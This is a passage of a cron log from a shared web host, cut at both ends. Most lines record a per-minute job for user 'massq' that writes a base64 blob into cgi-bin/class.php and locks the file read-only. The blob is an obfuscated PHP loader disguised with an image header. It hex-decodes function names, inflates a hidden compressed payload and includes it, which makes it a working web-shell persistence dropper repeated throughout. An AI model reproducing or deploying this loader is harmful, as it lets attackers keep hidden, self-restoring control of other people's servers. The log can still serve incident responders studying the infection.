g2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:46:01 server CROND[26490]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:47:01 server CROND[26555]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:48:01 server CROND[26622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:49:01 server CROND[26685]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:50:01 server CROND[26810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:50:01 server CROND[26811]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:50:01 server CROND[26812]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 04:50:01 server CROND[26813]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 04:50:01 server CROND[26818]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:51:01 server CROND[26968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:52:01 server CROND[27027]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:53:01 server CROND[27099]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:54:01 server CROND[27168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:55:01 server CROND[27220]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 04:55:01 server CROND[27221]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 04:55:01 server CROND[27222]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:56:01 server CROND[27422]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:57:01 server CROND[27484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:57:01 server CROND[27485]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 04:58:01 server CROND[27551]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 04:59:01 server CROND[27607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRV